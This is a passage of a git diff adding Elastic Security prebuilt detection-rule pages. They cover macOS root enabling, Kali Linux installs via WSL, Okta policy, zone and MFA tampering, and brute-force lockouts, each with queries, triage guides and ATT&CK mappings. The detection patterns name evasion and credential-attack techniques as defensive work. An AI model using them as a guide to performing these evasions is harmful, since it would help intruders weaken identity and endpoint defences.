+- Implement additional monitoring and alerting for any future attempts to enable the root account, ensuring rapid detection and response. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.name == "dsenableroot" and + not process.args == "-d" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Local Accounts +** ID: T1078.003 +** Reference URL: https://attack.mitre.org/techniques/T1078/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Local Accounts +** ID: T1078.003 +** Reference URL: https://attack.mitre.org/techniques/T1078/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-install-kali-linux-via-wsl.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-install-kali-linux-via-wsl.asciidoc new file mode 100644 index 0000000000..e49fef50ee --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-install-kali-linux-via-wsl.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-20-attempt-to-install-kali-linux-via-wsl]] +=== Attempt to Install Kali Linux via WSL + +Detects attempts to install or use Kali Linux via Windows Subsystem for Linux. Adversaries may enable and use WSL for Linux to avoid detection. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/windows/wsl/wsl-config + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Attempt to Install Kali Linux via WSL* + + +Windows Subsystem for Linux (WSL) allows users to run Linux distributions on Windows, providing a seamless integration of Linux tools. Adversaries may exploit WSL to install Kali Linux, a penetration testing distribution, to evade detection by traditional Windows security tools. The detection rule identifies suspicious processes and file paths associated with Kali Linux installations, flagging potential misuse for defense evasion. + + +*Possible investigation steps* + + +- Review the process details to confirm the presence of "wsl.exe" with arguments indicating an attempt to install or use Kali Linux, such as "-d", "--distribution", "-i", or "--install". +- Check the file paths associated with the Kali Linux installation, such as "?:\Users\*\AppData\Local\packages\kalilinux*" or "?:\Program Files*\WindowsApps\KaliLinux.*\kali.exe", to verify if the installation files exist on the system. +- Investigate the user account associated with the process to determine if the activity aligns with their typical behavior or if it appears suspicious. +- Correlate the event with other security logs or alerts from data sources like Microsoft Defender for Endpoint or Sysmon to identify any related suspicious activities or patterns. +- Assess the risk and impact of the detected activity by considering the context of the environment and any potential threats posed by the use of Kali Linux on the system. + + +*False positive analysis* + + +- Legitimate use of Kali Linux for development or educational purposes may trigger the rule. Users can create exceptions for specific user accounts or groups known to use Kali Linux for authorized activities. +- Automated scripts or deployment tools that install or configure Kali Linux as part of a legitimate IT process might be flagged. Consider whitelisting these scripts or processes by their hash or path. +- Security researchers or IT professionals conducting penetration testing on a Windows machine may cause false positives. Implement user-based exclusions for these professionals to prevent unnecessary alerts. +- System administrators testing WSL features with various Linux distributions, including Kali, could inadvertently trigger the rule. Establish a policy to document and approve such activities, then exclude them from detection. +- Training environments where Kali Linux is used to teach cybersecurity skills might be mistakenly flagged. Set up environment-specific exclusions to avoid disrupting educational activities. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent any potential lateral movement or data exfiltration. +- Terminate any suspicious processes related to the Kali Linux installation attempt, specifically those involving `wsl.exe` with arguments indicating a Kali distribution. +- Remove any unauthorized installations of Kali Linux by deleting associated files and directories, such as those found in `AppData\\Local\\packages\\kalilinux*` or `Program Files*\\WindowsApps\\KaliLinux.*`. +- Conduct a thorough review of user accounts and permissions on the affected system to ensure no unauthorized access or privilege escalation has occurred. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement additional monitoring and alerting for similar activities across the network, focusing on WSL usage and installation attempts of known penetration testing tools. +- Review and update endpoint protection configurations to enhance detection and prevention capabilities against similar threats, leveraging data sources like Microsoft Defender for Endpoint and Sysmon. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and +( + (process.name : "wsl.exe" and process.args : ("-d", "--distribution", "-i", "--install") and process.args : "kali*") or + process.executable : ( + "?:\\Users\\*\\AppData\\Local\\packages\\kalilinux*", + "?:\\Users\\*\\AppData\\Local\\Microsoft\\WindowsApps\\kali.exe", + "?:\\Program Files*\\WindowsApps\\KaliLinux.*\\kali.exe", + + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Users\\*\\AppData\\Local\\packages\\kalilinux*", + "\\Device\\HarddiskVolume*\\Users\\*\\AppData\\Local\\Microsoft\\WindowsApps\\kali.exe", + "\\Device\\HarddiskVolume*\\Program Files*\\WindowsApps\\KaliLinux.*\\kali.exe" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indirect Command Execution +** ID: T1202 +** Reference URL: https://attack.mitre.org/techniques/T1202/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-modify-an-okta-network-zone.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-modify-an-okta-network-zone.asciidoc new file mode 100644 index 0000000000..8960a70d11 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-modify-an-okta-network-zone.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-20-attempt-to-modify-an-okta-network-zone]] +=== Attempt to Modify an Okta Network Zone + +Detects attempts to modify an Okta network zone. Okta network zones can be configured to limit or restrict access to a network based on IP addresses or geolocations. An adversary may attempt to modify, delete, or deactivate an Okta network zone in order to remove or weaken an organization's security controls. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://help.okta.com/en/prod/Content/Topics/Security/network/network-zones.htm +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Use Case: Network Security Monitoring +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 414 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Attempt to Modify an Okta Network Zone* + + +The modification of an Okta network zone is a critical event as it could potentially allow an adversary to gain unrestricted access to your network. This rule detects attempts to modify, delete, or deactivate an Okta network zone, which may suggest an attempt to remove or weaken an organization's security controls. + + +*Possible investigation steps:* + + +- Identify the actor related to the alert by reviewing `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, or `okta.actor.display_name` fields in the alert. +- Review the `okta.client.user_agent.raw_user_agent` field to understand the device and software used by the actor. +- Examine the `okta.outcome.reason` field for additional context around the modification attempt. +- Check the `okta.outcome.result` field to confirm the network zone modification attempt. +- Check if there are multiple network zone modification attempts from the same actor or IP address (`okta.client.ip`). +- Check for successful logins immediately following the modification attempt. +- Verify whether the actor's activity aligns with typical behavior or if any unusual activity took place around the time of the modification attempt. + + +*False positive analysis:* + + +- Check if there were issues with the Okta system at the time of the modification attempt. This could indicate a system error rather than a genuine threat activity. +- Check the geographical location (`okta.request.ip_chain.geographical_context`) and time of the modification attempt. If these match the actor's normal behavior, it might be a false positive. +- Verify the actor's administrative rights to ensure they are correctly configured. + + +*Response and remediation:* + + +- If unauthorized modification is confirmed, initiate the incident response process. +- Immediately lock the affected actor account and require a password change. +- Consider resetting MFA tokens for the actor and require re-enrollment. +- Check if the compromised account was used to access or alter any sensitive data or systems. +- If a specific modification technique was used, ensure your systems are patched or configured to prevent such techniques. +- Assess the criticality of affected services and servers. +- Work with your IT team to minimize the impact on users and maintain business continuity. +- If multiple accounts are affected, consider a broader reset or audit of MFA tokens. +- Implement security best practices https://www.okta.com/blog/2019/10/9-admin-best-practices-to-keep-your-org-secure/[outlined] by Okta. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:okta.system and event.action:(zone.update or network_zone.rule.disabled or zone.remove_blacklist) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-modify-an-okta-policy-rule.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-modify-an-okta-policy-rule.asciidoc new file mode 100644 index 0000000000..4939ece740 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-modify-an-okta-policy-rule.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-20-attempt-to-modify-an-okta-policy-rule]] +=== Attempt to Modify an Okta Policy Rule + +Detects attempts to modify a rule within an Okta policy. An adversary may attempt to modify an Okta policy rule in order to weaken an organization's security controls. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://help.okta.com/en/prod/Content/Topics/Security/Security_Policies.htm +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Tactic: Defense Evasion +* Data Source: Okta +* Resources: Investigation Guide + +*Version*: 415 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Attempt to Modify an Okta Policy Rule* + + +The modification of an Okta policy rule can be an indication of malicious activity as it may aim to weaken an organization's security controls. + + +*Possible investigation steps:* + + +- Identify the actor related to the alert by reviewing `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, or `okta.actor.display_name` fields in the alert. +- Review the `okta.client.user_agent.raw_user_agent` field to understand the device and software used by the actor. +- Examine the `okta.outcome.reason` field for additional context around the modification attempt. +- Check the `okta.outcome.result` field to confirm the rule modification attempt. +- Check if there are multiple rule modification attempts from the same actor or IP address (`okta.client.ip`). +- Check for successful logins immediately following the modification attempt. +- Verify whether the actor's activity aligns with typical behavior or if any unusual activity took place around the time of the modification attempt. + + +*False positive analysis:* + + +- Check if there were issues with the Okta system at the time of the modification attempt. This could indicate a system error rather than a genuine threat activity. +- Check the geographical location (`okta.request.ip_chain.geographical_context`) and time of the modification attempt. If these match the actor's normal behavior, it might be a false positive. +- Verify the actor's administrative rights to ensure they are correctly configured. + + +*Response and remediation:* + + +- If unauthorized modification is confirmed, initiate the incident response process. +- Immediately lock the affected actor account and require a password change. +- Consider resetting MFA tokens for the actor and require re-enrollment. +- Check if the compromised account was used to access or alter any sensitive data or systems. +- If a specific modification technique was used, ensure your systems are patched or configured to prevent such techniques. +- Assess the criticality of affected services and servers. +- Work with your IT team to minimize the impact on users and maintain business continuity. +- If multiple accounts are affected, consider a broader reset or audit of MFA tokens. +- Implement security best practices https://www.okta.com/blog/2019/10/9-admin-best-practices-to-keep-your-org-secure/[outlined] by Okta. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:okta.system and event.action:policy.rule.update + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-modify-an-okta-policy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-modify-an-okta-policy.asciidoc new file mode 100644 index 0000000000..a38ad3e5b0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-modify-an-okta-policy.asciidoc @@ -0,0 +1,121 @@ +[[prebuilt-rule-8-19-20-attempt-to-modify-an-okta-policy]] +=== Attempt to Modify an Okta Policy + +Detects attempts to modify an Okta policy. An adversary may attempt to modify an Okta policy in order to weaken an organization's security controls. For example, an adversary may attempt to modify an Okta multi-factor authentication (MFA) policy in order to weaken the authentication requirements for user accounts. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 414 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Attempt to Modify an Okta Policy* + + +Modifications to Okta policies may indicate attempts to weaken an organization's security controls. If such an attempt is detected, consider the following steps for investigation. + + +*Possible investigation steps:* + +- Identify the actor associated with the event. Check the fields `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name`. +- Determine the client used by the actor. You can look at `okta.client.device`, `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.ip_chain.ip`, and `okta.client.geographical_context`. +- Check the nature of the policy modification. You can review the `okta.target` field, especially `okta.target.display_name` and `okta.target.id`. +- Examine the `okta.outcome.result` and `okta.outcome.reason` fields to understand the outcome of the modification attempt. +- Check if there have been other similar modification attempts in a short time span from the same actor or IP address. + + +*False positive analysis:* + +- This alert might be a false positive if Okta policies are regularly updated in your organization as a part of normal operations. +- Check if the actor associated with the event has legitimate rights to modify the Okta policies. +- Verify the actor's geographical location and the time of the modification attempt. If these align with the actor's regular behavior, it could be a false positive. + + +*Response and remediation:* + +- If unauthorized modification is confirmed, initiate the incident response process. +- Lock the actor's account and enforce password change as an immediate response. +- Reset MFA tokens for the actor and enforce re-enrollment, if applicable. +- Review any other actions taken by the actor to assess the overall impact. +- If the attack was facilitated by a particular technique, ensure your systems are patched or configured to prevent such techniques. +- Consider a security review of your Okta policies and rules to ensure they follow security best practices. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:okta.system and event.action:policy.lifecycle.update + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-reset-mfa-factors-for-an-okta-user-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-reset-mfa-factors-for-an-okta-user-account.asciidoc new file mode 100644 index 0000000000..04a7ead4fe --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-reset-mfa-factors-for-an-okta-user-account.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-20-attempt-to-reset-mfa-factors-for-an-okta-user-account]] +=== Attempt to Reset MFA Factors for an Okta User Account + +Detects attempts to reset an Okta user's enrolled multi-factor authentication (MFA) factors. An adversary may attempt to reset the MFA factors for an Okta user's account in order to register new MFA factors and abuse the account to blend in with normal activity in the victim's environment. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta +* https://www.elastic.co/security-labs/okta-and-lapsus-what-you-need-to-know + +*Tags*: + +* Tactic: Persistence +* Use Case: Identity and Access Audit +* Data Source: Okta +* Resources: Investigation Guide + +*Version*: 414 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Attempt to Reset MFA Factors for an Okta User Account* + + +Okta is a widely used identity management service that provides multi-factor authentication (MFA) to enhance security. Adversaries may attempt to reset MFA factors to register their own, gaining unauthorized access while appearing legitimate. The detection rule identifies such attempts by monitoring specific Okta system events, helping to flag potential account manipulation activities. + + +*Possible investigation steps* + + +- Review the Okta system logs for the specific event.action:user.mfa.factor.reset_all to identify the user account involved in the MFA reset attempt. +- Check the timestamp of the event to determine when the reset attempt occurred and correlate it with any other suspicious activities around the same time. +- Investigate the IP address and location associated with the event to assess if it aligns with the user's typical access patterns or if it appears unusual. +- Examine the user account's recent activity history for any anomalies or unauthorized access attempts that might indicate compromise. +- Verify if there have been any recent changes to the user's account settings or permissions that could suggest account manipulation. +- Contact the affected user to confirm whether they initiated the MFA reset or if it was unauthorized, and advise them on securing their account if necessary. + + +*False positive analysis* + + +- Routine administrative actions may trigger the rule if IT staff reset MFA factors for legitimate reasons such as assisting users who have lost access to their MFA devices. To manage this, create exceptions for known IT personnel or specific administrative actions. +- User-initiated resets due to lost or changed devices can also appear as suspicious activity. Implement a process to verify user requests and document these instances to differentiate them from malicious attempts. +- Automated scripts or tools used for account management might reset MFA factors as part of their operations. Identify and whitelist these tools to prevent false positives. +- Scheduled security audits or compliance checks that involve resetting MFA factors should be documented and excluded from triggering alerts by setting up time-based exceptions during these activities. + + +*Response and remediation* + + +- Immediately disable the affected Okta user account to prevent further unauthorized access. +- Review recent login activity and MFA changes for the affected account to identify any unauthorized access or suspicious behavior. +- Reset the MFA factors for the affected account and ensure that only the legitimate user can re-enroll their MFA devices. +- Notify the legitimate user of the account compromise and advise them to change their password and review their account activity. +- Conduct a security review of the affected user's permissions and access to sensitive resources to ensure no unauthorized changes were made. +- Escalate the incident to the security operations team for further investigation and to determine if other accounts may be affected. +- Update security monitoring and alerting to enhance detection of similar MFA reset attempts, leveraging the MITRE ATT&CK framework for guidance on persistence and account manipulation tactics. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:okta.system and event.action:user.mfa.factor.reset_all + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempts-to-brute-force-an-okta-user-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempts-to-brute-force-an-okta-user-account.asciidoc new file mode 100644 index 0000000000..f25d54753c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempts-to-brute-force-an-okta-user-account.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-20-attempts-to-brute-force-an-okta-user-account]] +=== Attempts to Brute Force an Okta User Account + +Identifies when an Okta user account is locked out 3 times within a 3 hour window. An adversary may attempt a brute force or password spraying attack to obtain unauthorized access to user accounts. The default Okta authentication policy ensures that a user account is locked out after 10 failed authentication attempts. + +*Rule type*: threshold + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-180m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Data Source: Okta +* Resources: Investigation Guide + +*Version*: 416 + +*Rule authors*: + +* Elastic +* @BenB196 +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Attempts to Brute Force an Okta User Account* + + +Brute force attacks aim to guess user credentials through exhaustive trial-and-error attempts. In this context, Okta accounts are targeted. + +This rule fires when an Okta user account has been locked out 3 times within a 3-hour window. This could indicate an attempted brute force or password spraying attack to gain unauthorized access to the user account. Okta's default authentication policy locks a user account after 10 failed authentication attempts. + + +*Possible investigation steps:* + + +- Identify the actor related to the alert by reviewing `okta.actor.alternate_id` field in the alert. This should give the username of the account being targeted. +- Review the `okta.event_type` field to understand the nature of the events that led to the account lockout. +- Check the `okta.severity` and `okta.display_message` fields for more context around the lockout events. +- Look for correlation of events from the same IP address. Multiple lockouts from the same IP address might indicate a single source for the attack. +- If the IP is not familiar, investigate it. The IP could be a proxy, VPN, Tor node, cloud datacenter, or a legitimate IP turned malicious. +- Determine if the lockout events occurred during the user's regular activity hours. Unusual timing may indicate malicious activity. +- Examine the authentication methods used during the lockout events by checking the `okta.authentication_context.credential_type` field. + + +*False positive analysis:* + + +- Determine whether the account owner or an internal user made repeated mistakes in entering their credentials, leading to the account lockout. +- Ensure there are no known network or application issues that might cause these events. + + +*Response and remediation:* + + +- Alert the user and your IT department immediately. +- If unauthorized access is confirmed, initiate your incident response process. +- Investigate the source of the attack. If a specific machine or network is compromised, additional steps may need to be taken to address the issue. +- Require the affected user to change their password. +- If the attack is ongoing, consider blocking the IP address initiating the brute force attack. +- Implement account lockout policies to limit the impact of brute force attacks. +- Encourage users to use complex, unique passwords and consider implementing multi-factor authentication. +- Check if the compromised account was used to access or alter any sensitive data or systems. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:okta.system and event.action:user.account.lock + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-authentication-via-unusual-pam-grantor.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-authentication-via-unusual-pam-grantor.asciidoc new file mode 100644 index 0000000000..52007e2c02 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-authentication-via-unusual-pam-grantor.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-20-authentication-via-unusual-pam-grantor]] +=== Authentication via Unusual 